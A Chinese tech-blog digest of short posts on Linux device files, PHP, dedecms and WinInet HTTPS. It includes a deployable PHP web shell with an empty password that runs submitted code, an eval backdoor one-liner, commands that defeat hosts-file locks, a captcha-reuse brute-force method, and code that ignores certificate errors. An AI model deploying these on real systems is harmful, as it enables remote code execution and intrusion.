误删除/dev/zero等Unix特殊文件的解决方法

今天在折腾Linux的时候,误操作删除了/dev/zero文件。本来以为这个问题很好解决,从其他系统上复制或者创建一个即可,但它例外。

故障现象:

root@localhost [~]# dd if=/dev/zero of=test bs=64k count=16k conv=fdatasyncdd: opening /dev/zero': No such file or directory
root@localhost [~]# dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync0+0 records in0+0 records out0 bytes (0 B) copied, 1.8578e-05 s, 0.0 kB/s

经过查阅资料,发现该文件是Unix下的一个特殊文件,通过普通的方法是无法还原的,只能使用mknod命令创建:

root@localhost [~]# mknod /dev/zero c 1 5root@localhost [~]# chmod 666 /dev/zero
root@localhost [~]# dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync16384+0 records in16384+0 records out1073741824 bytes (1.1 GB) copied, 7.63762 s, 141 MB/s

可以看出,在执行了如上高亮的前两行代码后,向/dev/zero填充数据返回成功。

PS:/dev/null也是一个特殊文件,修复方式类似。

来自【青藤空间】,原文短链接:http://go.greenvine.me/yj80m

一个临时执行php代码的小工具

放到服务器上写点临时的代码做测试或者输出一些全局变量什么的挺好的,不用新建文件了,记录下。

<?php
$password='';
session_start();
if((isset($_SESSION['password'])?$_SESSION['password']:'')!=$password and (isset($_POST['password'])?$_POST['password']:'')!=$password){
?>
<form action="" method="post">
    <input type="text" name="password">
    <input type="submit">
</form>
<?php 
    exit;
}else{
    $_SESSION['password']=$password;
}?>
<html>
<head>
<style>textarea{width:500px;height:auto;min-height:200px;}</style>
</head>
<body>
    <form method="post" action="">
        <textarea name="heianshell" width="1000px" height="5px">
        <?php echo isset($_POST['heianshell'])?$_POST['heianshell']:'phpinfo();'?>
        </textarea><input type="submit" value="run">
    </form>
    <br>
    <?php
        $eval=isset($_POST['heianshell'])?$_POST['heianshell']:'';
        eval($eval);
    ?>
    <br>
</body>
<html/>

mysql数据库编码转换

感觉这方法简单还挺好用的不容易出错,以gbk转utf8为例:

一.登陆phpmyadmin整库导出为.sql

二.文本编辑器打开备份的.sql文件,查找所有字段的编码’GBK’替换为’utf8′ (没有引号,数据内容如果有gbk字符串的话看好了再替换别把数据也替换掉了)

三.再导入

四.结束了。

五.仅适用于小型访问量的站点操作下

模板带来便利同时带来的安全威胁

比如 thinkphp zend framework ,这两个是代表性的框架,自带的模板系统默认是支持php代码直接嵌入到里面的,还有其他框架估计为了带来更为强大的功能和灵活性也会支持这个。既然是框架了,就要有点条条框框去限制下,不能让代码在视图里随意去执行,也许暂时带来了便利,但是以后的维护会加大成本。可能你会说修改下框架配置,禁用下函数啊什么的,但是默认支持这个东西就必然会造成大部分人不去修改它,想当年的动网论坛默认账号密码、默认数据库地址让多少网站沦陷,后遗症不定时出现!

一、造成目录权限难以控制,模板目录设置成可读可写不可执行,常理的话这里面的php代码不会执行,可是经过模板系统的解析php代码能执行了,现在我们可以直接把代码添加到模板里面,只要模板被解析过就运行了,添加<?php @eval($_GET[‘eval’])?>进去能绝对的顺利执行。你找后门在M层去找吧累死也找不到吧?

二、日常维护网站带来不必要的工作,网站被攻破时候黑客可以把php代码插到html里去,这样的后门对黑客来说是不是很好用呢?

话说smarty3模板做的真专业, 最新版本已经完全禁止了在模板中嵌入php代码。smarty是个不错的东西,人家就是做的好啊!

这种安全问题仅仅出现在使用开源cms,使用第三方模板的情况下。

网吧hosts文件禁止写入时的一点解决办法

近来做测试时用到了hosts文件,网吧里面却有各种锁定hosts文件的方法(只读啦,权限限制啦、后台还有程序无限替换hosts文件),终于找到是哪几个进程在搞怪了,进程也都结束掉了,这下可以用了,突然蓝屏了,蛋疼,又换了种方法试试可以了。

下面是一个解决方法记录下,不能保证绝对有用,不过可以试试:

echo Y|cacls %systemroot%\system32\drivers\etc\hosts /G everyone:W 
echo 127.0.0.1    localhost >%systemroot%\system32\drivers\etc\hosts 
echo 127.0.0.1    www.my.com >>%systemroot%\system32\drivers\etc\hosts 
echo Y|cacls %systemroot%\system32\drivers\etc\hosts /G everyone:R 
pause

/****************************分割线*********************************/

测试的时候又发现了一个可能会被恶意利用的地方,此方法希望网管朋友们做安全防护时注意一下,其实就一句话:

echo Y|cacls %systemroot%\system32\drivers\etc\hosts /D everyone

此时hosts文件对所有用户拒绝访问,自然hosts文件就不起作用了,你hosts文件做的限制再多一个拒绝访问全绕过,用hosts文件做恶意网址过滤的这下你功夫白费了。

dedecms 验证码的漏洞

dedecms在验证完验证码的正确以后并没有注销掉session里面的验证码结果,导致可以在session生命周期内无限用第一次获取的验证码

文件 /dede/login.php 和 /plus/feedback.php 存在漏洞,其他有验证码的地方估计也是有的

部分代码如下:

/dede/login.php 行 62-112

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051if($dopost=='login'){$validate empty($validate) ? '' strtolower(trim($validate));$svali strtolower(GetCkVdValue());if(($validate=='' || $validate != $svali) && preg_match("/6/",)){ResetVdValue();  //************这里注销了验证码************//ShowMsg('验证码不正确!','login.php',0,1000);exit;else {  //********而验证码正确的时候直接开始查询数据库没有注销掉验证码***//$cuserLogin new userLogin($admindir);if(!empty($userid) && !empty($pwd)){$res $cuserLogin->checkUser($userid,$pwd); //successif($res==1){$cuserLogin->keepUser();if(!empty($gotopage)){ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);exit();}else{ShowMsg('成功登录,正在转向管理管理主页!',"index.php");exit();}} //errorelse if($res==-1){ShowMsg('你的用户名不存在!',-1,0,1000);exit;}else{ShowMsg('你的密码错误!',-1,0,1000);exit;}} //password emptyelse{ShowMsg('用户和密码没填写完整!',-1,0,1000);exit;}}$safe_gdopen}

测试:

1.打开后台登录页面,输入一个错误的帐号密码,输入正确的验证码,先不登录把浏览器的图片功能关闭,然后登录会提示帐号密码错误

2.我们再回到登录界面,这时候验证码已经可以重复使用了,直到服务器的SESSION生命周期结束,当然登录成功的话就不测试了

评论的地方测试也是这样

利用:

1.暴力破解后台帐号密码,比较鸡助啊!

2.无限提交评论,无聊啊!

使用WinInet访问没有证书的Https (GET/POST)

#include <Windows.h>  
#include <Wininet.h>  
#include <stdio.h>  
#pragma comment(lib,”wininet.lib”)  
#define TRANSFER_SIZE    1024  
int main()  
{  
    int nRet = 1;  
    LPCTSTR lpszAgent = “WinInetGet/0.1”;  
    HINTERNET hInternet = InternetOpen(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);  
    if( ! hInternet ) {  
        return 1;  
    }  
    LPCTSTR lpszServerName = “192.168.22.199”; //设置server  
    INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT; // HTTPS端口443  
    LPCTSTR lpszUserName = NULL; //无登录用户名  
    LPCTSTR lpszPassword = NULL; //无登录密码  
    DWORD dwConnectFlags = 0;  
    DWORD dwConnectContext = 0;  
    HINTERNET hConnect = InternetConnect(hInternet,  
                                        lpszServerName, nServerPort,  
                                        lpszUserName, lpszPassword,  
                                        INTERNET_SERVICE_HTTP,   
                                        dwConnectFlags, dwConnectContext);  
    if( ! hConnect ) {  
        return 1;  
    }   
    LPCTSTR lpszVerb = “GET”;  
    LPCTSTR lpszObjectName = “/”;  
    LPCTSTR lpszVersion = NULL;    // 默认.  
    LPCTSTR lpszReferrer = NULL;   // 没有引用页  
    LPCTSTR *lplpszAcceptTypes = NULL; // Accpet所有类型.  
    DWORD dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |  
        INTERNET_FLAG_KEEP_CONNECTION |  
        INTERNET_FLAG_NO_AUTH |  
        INTERNET_FLAG_NO_COOKIES |  
        INTERNET_FLAG_NO_UI |  
        //设置启用HTTPS  
        INTERNET_FLAG_SECURE |  
        INTERNET_FLAG_IGNORE_CERT_CN_INVALID|  
        INTERNET_FLAG_RELOAD;  
    DWORD dwOpenRequestContext = 0;  
    //初始化Request  
    HINTERNET hRequest = HttpOpenRequest(hConnect, lpszVerb, lpszObjectName, lpszVersion,  
                                        lpszReferrer, lplpszAcceptTypes,  
                                        dwOpenRequestFlags, dwOpenRequestContext);  
    if( ! hRequest ) {  
        goto GOTO_EXIT;  
    }  
    //发送Request  
    BOOL bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);  
    if ( ! bResult && GetLastError() == ERROR_INTERNET_INVALID_CA )   
    {  
        DWORD dwFlags;  
        DWORD dwBuffLen = sizeof(dwFlags);  
        InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);  
        dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;  
        InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );  
        bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);  
    }  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    //获得HTTP Response Header信息  
    char szBuff[TRANSFER_SIZE];  
    DWORD dwReadSize = TRANSFER_SIZE;  
    bResult = HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szBuff, &dwReadSize, NULL);  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    szBuff[dwReadSize] = ‘/0’;  
    printf(“%s/n”, szBuff);  
    //HTTP Response 的 Body  
    DWORD dwBytesAvailable;  
    bResult = InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0);  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    if( dwBytesAvailable > TRANSFER_SIZE )   
    {  
        printf(“tool long %d /b”, GetLastError(), dwBytesAvailable);  
        goto GOTO_EXIT;  
    }  
    DWORD dwBytesRead;  
    bResult = InternetReadFile(hRequest, szBuff, dwBytesAvailable, &dwBytesRead);  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    szBuff[dwBytesRead] = ‘/0’;  
    printf(“%s/n”, szBuff);   
    nRet = 0;  
GOTO_EXIT:  
    if( hRequest ) {  
        InternetCloseHandle(hRequest);  
    }  
    if( hConnect ) {  
        InternetCloseHandle(hConnect);  
    }  
    if( hInternet ) {  
        InternetCloseHandle(hInternet);  
    }  
    return nRet;  
}  
 


上面是GET数据的,下面是POST数据的,主要修改代码如下


view plaincopy to clipboardprint?
#include <Windows.h>   
#include <Wininet.h>   
#include <stdio.h>   
#pragma comment(lib,”wininet.lib”)   
#define TRANSFER_SIZE    1024   
int main()   
{   
    int nRet = 1;   
    LPCTSTR lpszAgent = “WinInetGet/0.1”;   
    HINTERNET hInternet = InternetOpen(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);   
    if( ! hInternet ) {   
        return 1;   
    }   
    LPCTSTR lpszServerName = “192.168.22.199”; //设置server   
    INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT; // HTTPS端口443   
    LPCTSTR lpszUserName = NULL; //无登录用户名   
    LPCTSTR lpszPassword = NULL; //无登录密码   
    DWORD dwConnectFlags = 0;   
    DWORD dwConnectContext = 0;   
    HINTERNET hConnect = InternetConnect(hInternet,   
        lpszServerName, nServerPort,   
        lpszUserName, lpszPassword,   
        INTERNET_SERVICE_HTTP,    
        dwConnectFlags, dwConnectContext);   
    if( ! hConnect ) {   
        return 1;   
    }      
    LPCTSTR lpszVerb = “POST”;   
    LPCTSTR lpszObjectName = “/vpn/userlogin.php”;   
    LPCTSTR lpszVersion = NULL;    // 默认.   
    LPCTSTR lpszReferrer = NULL;   // 没有引用页   
    LPCTSTR *lplpszAcceptTypes = NULL; // Accpet所有类型.   
    DWORD dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |   
        INTERNET_FLAG_KEEP_CONNECTION |   
        INTERNET_FLAG_NO_AUTH |   
        INTERNET_FLAG_NO_COOKIES |   
        INTERNET_FLAG_NO_UI |   
        //设置启用HTTPS   
        INTERNET_FLAG_SECURE |   
        INTERNET_FLAG_IGNORE_CERT_CN_INVALID|   
        INTERNET_FLAG_RELOAD;   
    DWORD dwOpenRequestContext = 0;   
    //初始化Request   
    HINTERNET hRequest = HttpOpenRequest(hConnect, lpszVerb, lpszObjectName, lpszVersion,   
        lpszReferrer, lplpszAcceptTypes,   
        dwOpenRequestFlags, dwOpenRequestContext);   
    if( ! hRequest ) {   
        goto GOTO_EXIT;   
    }   
    bool bResult = false;   
    char szHeaderBuff[TRANSFER_SIZE] = {‘/0’};   
    int nHeaderSize = sprintf(szHeaderBuff, “%s”, “Content-Type:application/x-www-form-urlencoded”);   
    char szReqBuff[TRANSFER_SIZE] = {‘/0’};   
    int nReqSize = sprintf(szReqBuff, “user=%s&pass=%s”, “test”, “test”);   
    //发送Request   
    bResult = HttpSendRequest(hRequest, szHeaderBuff, nHeaderSize, szReqBuff, nReqSize);   
    if ( ! bResult && GetLastError() == ERROR_INTERNET_INVALID_CA )    
    {   
        DWORD dwFlags;   
        DWORD dwBuffLen = sizeof(dwFlags);   
        InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);   
        dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;   
        InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );   
        bResult = HttpSendRequest(hRequest, szHeaderBuff, nHeaderSize, szReqBuff, nReqSize);   
    }   
    if( ! bResult )    
    {   
        DWORD dwError = GetLastError();   
        printf(“%d/n”, dwError);   
        goto GOTO_EXIT;   
    }   
    //获得HTTP Response Header信息   
    char szBuff[TRANSFER_SIZE];   
    DWORD dwReadSize = TRANSFER_SIZE;   
    bResult = HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szBuff, &dwReadSize, NULL);   
    if( ! bResult ) {   
        goto GOTO_EXIT;   
    }   
    szBuff[dwReadSize] = ‘/0’;   
    printf(“%s/n”, szBuff);   
    //HTTP Response 的 Body   
    DWORD dwBytesAvailable;   
    bResult = InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0);   
    if( ! bResult ) {   
        goto GOTO_EXIT;   
    }   
    if( dwBytesAvailable > TRANSFER_SIZE )    
    {   
        printf(“tool long %d /n”, GetLastError(), dwBytesAvailable);   
        goto GOTO_EXIT;   
    }   
    DWORD dwBytesRead;   
    bResult = InternetReadFile(hRequest, szBuff, dwBytesAvailable, &dwBytesRead);   
    if( ! bResult ) {   
        goto GOTO_EXIT;   
    }   
    szBuff[dwBytesRead] = ‘/0’;   
    printf(“%s/n”, szBuff);    
    nRet = 0;   
GOTO_EXIT:   
    if( hRequest ) {   
        InternetCloseHandle(hRequest);   
    }   
    if( hConnect ) {   
        InternetCloseHandle(hConnect);   
    }   
    if( hInternet ) {   
        InternetCloseHandle(hInternet);   
    }   
    return nRet;   
}  


 使用 HTTPS 而不是 HTTP 时,请注意两个差异:
InternetConnect 使用 INTERNET_DEFAULT_HTTPS_PORT,而不是 INTERNET_INVALID_PORT_NUMBER 或 INTERNET_DEFAULT_HTTP_PORT
除了所有其他的选项外,HttpOpenRequest 还使用 INTERNET_FLAG_SECURE 选项。
在 HttpOpenRequest 中或在 InternetOpenUrl 中,可以使用以下两个选项以忽略无效的证书错误:


INTERNET_FLAG_IGNORE_CERT_CN_INVALID:忽略因服务器的证书主机名与请求的主机名不匹配所导致的错误。
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID:忽略由已失效的服务器证书导致的错误。
有关这些标志的更多信息,请参阅 Internet Client SDK 文档。

SSL 和 PCT 功能是由 Schannel.dll 提供的,它在您运行再发布程序 Wintdist.exe 或 Wint351.exe 时会正确安装。有关再发布 Schannel.dll 的信息,请参阅 Redist.txt 或 Axredist.txt。